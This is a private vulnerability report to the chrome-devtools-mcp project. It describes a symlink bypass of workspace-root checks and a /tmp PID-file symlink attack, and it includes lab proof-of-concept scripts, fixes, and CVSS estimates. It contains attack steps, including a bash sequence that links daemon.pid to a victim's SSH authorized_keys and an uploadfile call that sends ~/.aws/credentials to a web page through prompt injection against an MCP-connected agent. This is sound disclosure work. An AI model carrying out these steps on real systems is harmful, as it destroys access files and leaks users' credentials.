Summary

I originally reported this through Google Bug Hunters. The Google Bug Hunters team said this is in OSS VRP scope but not reward-eligible due to the project tier, and asked me to file an issue or PR directly with this repository. I am reporting it privately here first because it is an unfixed security issue.

McpContext.validatePath() enforces workspace roots by checking whether path.resolve(filePath) textually falls under one of the configured root paths. path.resolve() does not canonicalize symbolic links. As a result, a symlink inside a configured workspace root can point to a file outside that root, pass validation, and then be followed by downstream file read/write operations.

This bypass applies even when the MCP client correctly declares the roots capability with a non-empty list. It is separate from the documented legacy behavior where missing roots capability allows all paths.

The practical impact is a workspace-boundary bypass. In the write direction, filePath-writing tools can overwrite out-of-root files through an in-root symlink. In the read direction, uploadfile can read through the symlink and send the file to the currently selected web page.

Details

Affected code:

src/McpContext.ts:178-199

ts validatePath(filePath?: string): void { if (filePath === undefined) { return; } const roots = this.roots(); if (roots === undefined) { return; } const absolutePath = path.resolve(filePath); for (const root of roots) { const rootPath = path.resolve(fileURLToPath(root.uri)); if ( absolutePath === rootPath || absolutePath.startsWith(rootPath + path.sep) ) { return; } } throw new Error( Access denied: path ${filePath} is not within any of the workspace roots ${JSON.stringify(roots)}., ); }

path.resolve() only normalizes path text such as . and ... It does not call realpath() and does not resolve symlinks. Therefore, a path like:

text /workspace/project/cache/profile

can textually pass the /workspace prefix check even when cache/profile is a symlink to:

text /home/user/.aws/credentials

Downstream consumers then perform real filesystem operations without ONOFOLLOW:

- src/McpContext.ts:720-738 saveFile() uses fs.mkdir({recursive: true}) and fs.writeFile(). - src/tools/input.ts:454-497 uploadfile calls puppeteer.uploadFile(filePath) or fileChooser.accept([filePath]). - Other filePath-writing tools include screenshots, heap snapshots, network response save paths, snapshots, screencasts, Lighthouse output, and performance trace saves.

This is not a TOCTOU/race condition. The symlink exists before validation and the PoC uses a single process. The issue is a canonicalization bypass / improper link resolution.

Preconditions:

- The MCP client declares roots and supplies at least one workspace root. - A symlink exists inside the workspace and points outside the workspace. - For the remote prompt-injection chain, the user processes untrusted page content while chrome-devtools-mcp is connected.

A remote attacker does not need local access if a suitable workspace-internal symlink already exists, or if another trusted tool/workflow can create it. Without such a symlink, the issue is a local/workspace-state-dependent boundary bypass.

PoC

Conceptual exploitation with a configured root:

text Configured roots: file:///workspace

Workspace path: /workspace/project/cache/profile -> /home/user/.aws/credentials

Tool call: uploadfile({ filePath: "/workspace/project/cache/profile", uid: "<file input element on current page>" })

Result: validatePath() accepts the path because it textually starts with /workspace. Puppeteer follows the symlink and uploads the target file to the page.

Lab-only PoC that replicates the exact validation logic and subsequent write. It writes only inside a fresh temporary directory and touches no system paths:

js const path = require('node:path'); const fs = require('node:fs'); const os = require('node:os'); const {pathToFileURL, fileURLToPath} = require('node:url');

const lab = fs.mkdtempSync(path.join(os.tmpdir(), 'cdtmcp-lab-'));

try { fs.chmodSync(lab, 0o755);

const workspace = path.join(lab, 'workspace'); fs.mkdirSync(workspace);

const outside = path.join(lab, 'outside-secret.txt'); fs.writeFileSync(outside, 'sensitive outside content\n');

const symlinkInside = path.join(workspace, 'innocent.txt'); fs.symlinkSync(outside, symlinkInside);

function validatePath(filePath, roots) { const absolutePath = path.resolve(filePath); for (const root of roots) { const rootPath = path.resolve(fileURLToPath(root.uri)); if ( absolutePath === rootPath || absolutePath.startsWith(rootPath + path.sep) ) { return true; } } throw new Error(Access denied: ${filePath}); }

const roots = [{uri: pathToFileURL(workspace).href, name: 'workspace'}]; validatePath(symlinkInside, roots);

fs.writeFileSync(symlinkInside, 'OVERWRITTEN BY MCP\n');

console.log(fs.readFileSync(outside, 'utf8')); // -> "OVERWRITTEN BY MCP" } finally { fs.rmSync(lab, {recursive: true, force: true}); }

Observed result:

text validatePath() accepts the in-root symlink path. The subsequent write follows the symlink and modifies the out-of-root target.

I can provide an end-to-end MCP client reproduction if needed. The lab PoC above demonstrates the root cause using the same validation logic as the server.

Impact

Who can exploit:

- A local process/user or trusted workflow that can create a symlink inside the workspace. - A remote page/prompt-injection attacker, if a suitable workspace-internal symlink already exists or can be created by another trusted workflow/tool.

Security impact:

- Integrity: tools that write to filePath can overwrite files outside the configured workspace root through an in-root symlink. - Confidentiality: uploadfile can read a file outside the workspace through an in-root symlink and attach it to a file input on the current page. - Stealth/auditability: the exfiltration path goes through normal page file-upload behavior, and chrome-devtools-mcp does not appear to log the canonical path that was uploaded.

Example sensitive files reachable if symlinked into the workspace:

- Cloud credentials such as ~/.aws/credentials, ~/.config/gcloud/..., or ~/.azure/.... - SSH private keys or .ssh files readable by the user. - Project secrets such as .env, .npmrc, .netrc, secrets.json, and API tokens. - Out-of-workspace source files or configuration files.

Severity:

- Suggested GitHub severity: Moderate. - CVSS v3.1 chain estimate: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N. - AC:H reflects that a workspace-internal symlink must exist at validation time.

Suggested fix:

Canonicalize paths before comparing against roots. For an existing file, use fs.realpath() on the path. For a new file, resolve the parent directory with fs.realpath() and re-join the basename.

ts async validatePath(filePath?: string): Promise<void> { if (filePath === undefined) return; const roots = this.roots(); if (roots === undefined) return;

const abs = path.resolve(filePath); let canonical; try { canonical = await fs.realpath(abs); } catch (err) { if (err.code === 'ENOENT') { const parent = await fs.realpath(path.dirname(abs)); canonical = path.join(parent, path.basename(abs)); } else { throw err; } }

for (const root of roots) { const canonicalRoot = await fs.realpath(fileURLToPath(root.uri)); if ( canonical === canonicalRoot || canonical.startsWith(canonicalRoot + path.sep) ) { return; } }

throw new Error( Access denied: ${filePath} (canonical: ${canonical}) is not within any workspace root., ); }

Summary

The chrome-devtools-mcp daemon writes its PID file with fs.writeFileSync() to a deterministic runtime path. On typical macOS environments, and on Linux sessions where $XDGRUNTIMEDIR is unset, that runtime path falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid.

Because the write does not use ONOFOLLOW, a local low-privilege user on the same POSIX host can pre-create /tmp/chrome-devtools-mcp-<victimuid>/daemon.pid as a symlink to a file writable by the victim. When the victim later starts daemon mode, fs.writeFileSync() follows the symlink and truncates the target file to the daemon PID string.

This report is deliberately scoped to POSIX systems where the daemon falls back to /tmp: typical macOS environments and Linux sessions without $XDGRUNTIMEDIR. Windows is out of scope because the default temp directory is per-user and symlink creation has additional privilege requirements.

Details

Affected code:

src/daemon/daemon.ts:38-42

ts const pidFilePath = getPidFilePath(sessionId); fs.mkdirSync(path.dirname(pidFilePath), { recursive: true, }); fs.writeFileSync(pidFilePath, process.pid.toString());

src/daemon/utils.ts:49-68

ts export function getRuntimeHome(sessionId: string): string { const platform = os.platform(); const uid = os.userInfo().uid; const suffix = sessionId ? -${sessionId} : ''; const appName = APPNAME + suffix;

if (process.env.XDGRUNTIMEDIR) { return path.join(process.env.XDGRUNTIMEDIR, appName); }

if (platform === 'darwin' || platform === 'linux') { return path.join('/tmp', ${appName}-${uid}); }

return path.join(os.tmpdir(), appName); }

The /tmp sticky bit prevents non-owner file removal, but it does not prevent another local user from creating a subdirectory under /tmp. If an attacker creates /tmp/chrome-devtools-mcp-<victimuid>/ first and places a symlink at daemon.pid, the victim's daemon process follows that link when writing the PID.

Preconditions:

- The victim is on a typical macOS environment where $XDGRUNTIMEDIR is unset, or on a Linux system/session where $XDGRUNTIMEDIR is unset. - The attacker has any local user account on the same host. - The victim later runs a chrome-devtools CLI path or MCP integration that starts daemon mode.

PoC

Realistic POSIX scenario:

bash Attacker, before victim starts daemon mode. victimuid=1000 mkdir -p "/tmp/chrome-devtools-mcp-${victimuid}" chmod 0755 "/tmp/chrome-devtools-mcp-${victimuid}" ln -s "/home/victim/.ssh/authorizedkeys" \ "/tmp/chrome-devtools-mcp-${victimuid}/daemon.pid"

Victim later starts daemon mode. chrome-devtools start

Result: fs.writeFileSync follows the symlink, so authorizedkeys is truncated to the daemon PID string.

Lab-only PoC that touches only a fresh os.tmpdir()/cdtmcp-lab- directory:

js const fs = require('node:fs'); const os = require('node:os'); const path = require('node:path');

const lab = fs.mkdtempSync(path.join(os.tmpdir(), 'cdtmcp-lab-'));

try { fs.chmodSync(lab, 0o755);

const victimSecret = path.join(lab, 'victim-secret.txt'); fs.writeFileSync( victimSecret, 'IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED\n', );

const runtimeDir = path.join(lab, 'attacker-pre-created'); fs.mkdirSync(runtimeDir, {recursive: true});

const pidFilePath = path.join(runtimeDir, 'daemon.pid'); fs.symlinkSync(victimSecret, pidFilePath);

// Exact pattern from src/daemon/daemon.ts:39-42. fs.mkdirSync(path.dirname(pidFilePath), {recursive: true}); fs.writeFileSync(pidFilePath, process.pid.toString());

console.log(fs.readFileSync(victimSecret, 'utf8')); // -> "<pid>" (victim file was truncated/overwritten) } finally { fs.rmSync(lab, {recursive: true, force: true}); }

Observed output from the lab PoC:

text [setup] victim secret BEFORE attack: IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED [attack] symlink placed: <runtimeDir>/daemon.pid -> <victimSecret> [victim ran daemon] victim secret AFTER: <pid> [lstat pidFile] still symlink [outcome] victim file was overwritten via attacker-placed symlink.

I can provide the standalone pidfilesymlinkpoc.cjs file if needed. The attached/local version includes platform notes, Windows symlink-permission diagnostics, and cleanup guards.

Impact

Who can exploit:

Any local user account on the same POSIX host where the victim runs the chrome-devtools-mcp daemon, when $XDGRUNTIMEDIR is unset for that user session.

Security impact:

- Integrity: an attacker can truncate and overwrite any file the victim can write, with content constrained to the daemon PID string. - Availability: critical user configuration files can be corrupted until restored from backup. - Confidentiality: none directly; the written content is only the PID string.

Example targets affected by truncation:

- ~/.ssh/authorizedkeys, causing the victim to lose SSH access. - ~/.bashrc, ~/.zshrc, or ~/.profile, breaking shell startup. - Project .env, secrets.json, license files, or line-oriented config files. - Logs or local audit files writable by the victim.

Suggested fix:

Open the PID file with ONOFOLLOW and validate runtime directory ownership/permissions before writing:

ts import {constants, openSync, writeSync, closeSync} from 'node:fs';

const fd = openSync( pidFilePath, constants.OWRONLY | constants.OCREAT | constants.OTRUNC | constants.ONOFOLLOW, 0o600, ); writeSync(fd, process.pid.toString()); closeSync(fd);